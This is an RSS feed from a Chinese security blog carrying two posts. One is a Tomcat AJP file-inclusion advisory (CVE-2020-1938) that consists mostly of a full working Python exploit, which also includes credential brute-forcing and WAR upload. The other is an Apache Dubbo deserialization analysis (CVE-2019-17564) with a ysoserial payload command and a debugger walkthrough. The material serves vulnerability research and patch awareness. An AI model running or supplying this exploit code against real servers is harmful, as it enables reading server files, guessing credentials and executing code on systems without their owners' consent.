<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>apache &#8211; ChaBug安全</title>
	<atom:link href="/tags/apache/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 21 Feb 2020 13:24:34 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>CNVD-2020-10487 CVE-2020-1938 Apache Tomcat 任意文件读取+文件包含</title>
		<link>/web/1253.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 21 Feb 2020 13:23:43 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[文件读取]]></category>
		<guid isPermaLink="false">/?p=1253</guid>

					<description><![CDATA[2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat...]]></description>
										<content:encoded><![CDATA[<p>2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span>漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布新版本完成漏洞修复。</p>
<h2>一、漏洞概述</h2>
<p>2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布新版本完成漏洞修复。</p>
<p>Tomcat是Apache软件基金会中的一个重要项目，性能稳定且免费，是目前较为流行的Web应用服务器。由于Tomcat应用范围较广，因此本次通告的漏洞影响范围较大，请相关用户及时采取防护措施修复此漏洞。</p>
<p>参考链接：https://www.cnvd.org.cn/webinfo/show/5415</p>
<h2>二、影响范围</h2>
<p>受影响版本</p>
<ol>
<li>Apache Tomcat 6</li>
<li>Apache Tomcat 7 &lt; 7.0.100</li>
<li>Apache Tomcat 8 &lt; 8.5.51</li>
<li>Apache Tomcat 9 &lt; 9.0.31</li>
</ol>
<p>不受影响版本<br />
1. Apache Tomcat = 7.0.100<br />
2. Apache Tomcat = 8.5.51<br />
3. Apache Tomcat = 9.0.31</p>
<h2>三、POC</h2>
<p><span class="wpcom_tag_link"><a href="/tags/poc" title="poc" target="_blank">poc</a></span>1来源自GitHub https://raw.githubusercontent.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/master/poc.py</p>
<pre><code class="language-python ">#!/usr/bin/env python
#
# Julien Legras - Synacktiv
#
# THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat

import socket
import argparse
import logging
import re
import os
from StringIO import StringIO
import logging
from colorlog import ColoredFormatter
from urllib import unquote


def setup_logger():
    """Return a logger with a default ColoredFormatter."""
    formatter = ColoredFormatter(
        "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
        reset=True,
        log_colors={
            'DEBUG': 'bold_purple',
            'INFO': 'bold_green',
            'WARNING': 'bold_yellow',
            'ERROR': 'bold_red',
            'CRITICAL': 'bold_red',
        }
    )

    logger = logging.getLogger('meow')
    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger.addHandler(handler)
    logger.setLevel(logging.DEBUG)

    return logger


logger = setup_logger()


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False

    fr.attributes = []

    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def test_password(self, user, password):
        res = False
        stop = False
        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode(
            'base64').replace('\n', '')
        while not stop:
            logger.debug("testing %s:%s" % (user, password))
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            snd_hdrs_res = responses[0]
            if snd_hdrs_res.http_status_code == 404:
                raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
            elif snd_hdrs_res.http_status_code == 302:
                self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
                logger.info("Redirecting to %s" % self.req_uri)
                self.forward_request.req_uri = self.req_uri
            elif snd_hdrs_res.http_status_code == 200:
                logger.info("Found valid credz: %s:%s" % (user, password))
                res = True
                stop = True
                if 'Set-Cookie' in snd_hdrs_res.response_headers:
                    logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
            elif snd_hdrs_res.http_status_code == 403:
                logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (
                    user, password))
                stop = True
            elif snd_hdrs_res.http_status_code == 401:
                stop = True

        return res

    def start_bruteforce(self, users, passwords, req_uri, autostop):
        logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)

        f_users = open(users, "r")
        f_passwords = open(passwords, "r")

        valid_credz = []
        try:
            for user in f_users:
                f_passwords.seek(0, 0)
                for password in f_passwords:
                    if autostop and len(valid_credz) &gt; 0:
                        self.socket.close()
                        return valid_credz

                    user = user.rstrip('\n')
                    password = password.rstrip('\n')
                    if self.test_password(user, password):
                        valid_credz.append((user, password))
        except NotFoundException as e:
            logger.fatal(e.message)
        finally:
            logger.debug("Closing socket...")
            self.socket.close()
            return valid_credz

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                    "%s:%s" % (user, password)).encode('base64').replace('\n', '')

        for h in headers:
            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:
            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        print(responses)
        if len(responses) == 0:
            return None, None

        snd_hdrs_res = responses[0]

        data_res = responses[1:-1]
        if len(data_res) == 0:
            logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))

        return snd_hdrs_res, data_res

    def upload(self, filename, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        with open(filename, "rb") as f_input:
            with open("/tmp/request", "w+b") as f:
                s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
                    filename)
                s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
                f.write(s_form_header)
                f.write(f_input.read())
                f.write(s_form_footer)

        data_len = os.path.getsize("/tmp/request")

        headers = {
            "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
            "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
        if old_version == False:
            attributes.append({"name": "query_string", "value": deploy_csrf_token})
        old_apps = self.list_installed_applications(user, password, old_version)
        r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)

        with open("/tmp/request", "rb") as f:
            br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
            br.send_and_receive(self.socket, self.stream)

        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Upload failed')

        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
        logger.debug('Upload seems normal. Checking...')
        new_apps = self.list_installed_applications(user, password, old_version)
        if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps:
            logger.info('Upload success!')
        else:
            logger.error('Upload failed')

    def get_error_page(self):
        return self.perform_request("/blablablablabla")

    def get_version(self):
        hdrs, data = self.get_error_page()
        for d in data:
            s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data)
            if len(s) &gt; 0:
                return s[0]

    def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
        # first we request the manager page to get the CSRF token
        hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
        deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
                                       "".join([d.data for d in rdata]))
        if old_version == False:
            if len(deploy_csrf_token) == 0:
                logger.critical("Failed to get CSRF token. Check the credentials")
                return

            logger.debug('CSRF token = %s' % deploy_csrf_token[0])
        obj = re.match("(?P&lt;cookie&gt;JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
                       hdrs.response_headers.get('Set-Cookie', ''))
        if obj is not None:
            return deploy_csrf_token[0], obj
        return deploy_csrf_token[0], None

    def list_installed_applications(self, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s" % deploy_csrf_token})
        hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password,
                                          attributes=attributes)
        found = []
        for d in data:
            im = re.findall('/manager/html/expire\?path=([^&amp;]*)&amp;', d.data)
            for app in im:
                found.append(unquote(app))
        return found

    def undeploy(self, path, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        path_app = "path=%s" % path
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s&amp;%s" % (path_app, deploy_csrf_token)})
        r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)
        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Undeploy failed')

        # Check the successful message
        found = False
        regex = r'&lt;small&gt;&lt;strong&gt;Message:&lt;\/strong&gt;&lt;\/small&gt; &lt;\/td&gt;\s*&lt;td class="row-left"&gt;&lt;pre&gt;(OK - .*' + path + ')\s*&lt;\/pre&gt;&lt;\/td&gt;'
        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == 3:
                f = re.findall(regex, r.data)
                if len(f) &gt; 0:
                    found = True
        if found:
            logger.info('Undeploy succeed')
        else:
            logger.error('Undeploy failed')


if __name__ == "__main__":


    parser = argparse.ArgumentParser()
    parser.add_argument('target', type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    bf = Tomcat(args.target, args.port)
    attributes = [
        {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
    ]
    snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes)
    print("".join([d.data for d in data_res]))
</code></pre>
<p>目前跨不出webapps</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Apache Dubbo CVE-2019-17564 反序列化分析</title>
		<link>/audit/1229.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 16 Feb 2020 09:10:48 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[Dubbo]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1229</guid>

					<description><![CDATA[Apache Dubbo HTTP协议中的一个反序列化漏洞（CVE-2019-17564） 漏洞描述 Apache Dubbo支持多种协议,官方推荐使用Dubbo协议。Apache...]]></description>
										<content:encoded><![CDATA[<p>Apache <span class="wpcom_tag_link"><a href="/tags/dubbo" title="Dubbo" target="_blank">Dubbo</a></span> HTTP协议中的一个<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>漏洞（CVE-2019-17564）</p>
<h2>漏洞描述</h2>
<p>Apache Dubbo支持多种协议,官方推荐使用Dubbo协议。Apache Dubbo HTTP协议中的一个反序列化漏洞（CVE-2019-17564），该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后，Apache Dubbo对消息体处理不当导致不安全反序列化，当项目包中存在可用的gadgets时即可导致远程代码执行。</p>
<h2>影响范围</h2>
<p>2.7.0 &lt;= Apache Dubbo &lt;= 2.7.4.1<br />
2.6.0 &lt;= Apache Dubbo &lt;= 2.6.7<br />
Apache Dubbo = 2.5.x</p>
<h2>环境搭建</h2>
<p>Dubbo 需要zookeeper，我采用虚拟机中的docker来搭建zookeeper环境。</p>
<pre><code class="">docker run --rm --name zookeeper -p 2181:2181 zookeeper
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200216174838.png" alt="image" /></p>
<p>查看虚拟机是否开放2181端口</p>
<p><img src="/wp-content/uploads/2020/02/20200216172205.png" alt="image" /></p>
<p>下载官方的Dubbo http样例 https://github.com/<span class="wpcom_tag_link"><a href="/tags/apache" title="apache" target="_blank">apache</a></span>/dubbo-samples/tree/master/<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>/dubbo-samples-http 导入idea</p>
<p>修改Dubbo为有反序列化漏洞的版本，我改为2.7.3</p>
<p><img src="/wp-content/uploads/2020/02/20200216170054.png" alt="image" /></p>
<p>因为Dubbo并没有可用的gadget，我们使用Commons-Collection4.4.0的gadget，所以在pom.xml中加入其依赖。</p>
<pre data-language=XML><code class="language-markup ">&lt;dependency&gt;
    &lt;groupId&gt;org.apache.commons&lt;/groupId&gt;
    &lt;artifactId&gt;commons-collections4&lt;/artifactId&gt;
    &lt;version&gt;4.0&lt;/version&gt;
&lt;/dependency&gt;
</code></pre>
<p>此时我们还要修改spring/http-provider.xml来指定zookeeper的IP</p>
<p><img src="/wp-content/uploads/2020/02/20200216171596.png" alt="image" /></p>
<p>改端口是因为8080端口和Burp的端口冲突了。修改完毕之后，启动HttpProvider。在控制台输出<code>dubbo service started</code>字样即表示启动成功。</p>
<h2>漏洞复现</h2>
<p><span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>生成payload</p>
<pre><code class="">java -jar ysoserial.jar CommonsCollections4 calc &gt; 1.ser
</code></pre>
<p>burp发包</p>
<p><img src="/wp-content/uploads/2020/02/20200216172101.png" alt="image" /></p>
<h2>漏洞分析</h2>
<p>断点 <code>dubbo-2.7.3.jar!/org/apache/dubbo/remoting/http/servlet/DispatcherServlet.class:43</code></p>
<p><img src="/wp-content/uploads/2020/02/20200216172086.png" alt="image" /></p>
<p>跟进到 <code>org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle</code></p>
<p><img src="/wp-content/uploads/2020/02/20200216178969.png" alt="image" /></p>
<p>获取了URI、请求方式和RPC调用的上下文，然后进入handleRequest()</p>
<p><img src="/wp-content/uploads/2020/02/20200216173990.png" alt="image" /></p>
<p>handleRequest()将request请求对象传入一个参数的<code>readRemoteInvocation()</code>，然后将request和<code>request.getInputStream()</code>传入其重载方法两个参数的<code>readRemoteInvocation()</code>，然后创建了ois对象，ois对象中包含了post请求的数据，然后进入<code>doReadRemoteInvocation()</code></p>
<p><img src="/wp-content/uploads/2020/02/20200216177168.png" alt="image" /></p>
<p>到达readObject()，整个过程ois对象没有过滤，而ois中又包含了post报文，导致反序列化漏洞，如果存在可用的gadget，会导致RCE。</p>
<h2>修复建议</h2>
<p>升级Apache Dubbo到最新版本</p>
<h2>参考链接</h2>
<p>https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5<br />
https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html<br />
http://dubbo.apache.org/zh-cn/blog/dubbo-zk.html<br />
<div style="width: 640px;" class="wp-video"><video class="wp-video-shortcode" id="video-1229-2" width="640" height="360" preload="metadata" controls="controls"><source type="video/mp4" src="https://video.twimg.com/tweet_video/EQlT6nBUEAADdR2.mp4?_=2" /><a href="https://video.twimg.com/tweet_video/EQlT6nBUEAADdR2.mp4">https://video.twimg.com/tweet_video/EQlT6nBUEAADdR2.mp4</a></video></div></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		<enclosure url="https://video.twimg.com/tweet_video/EQlT6nBUEAADdR2.mp4" length="211669" type="video/mp4" />

			</item>
	</channel>
</rss>
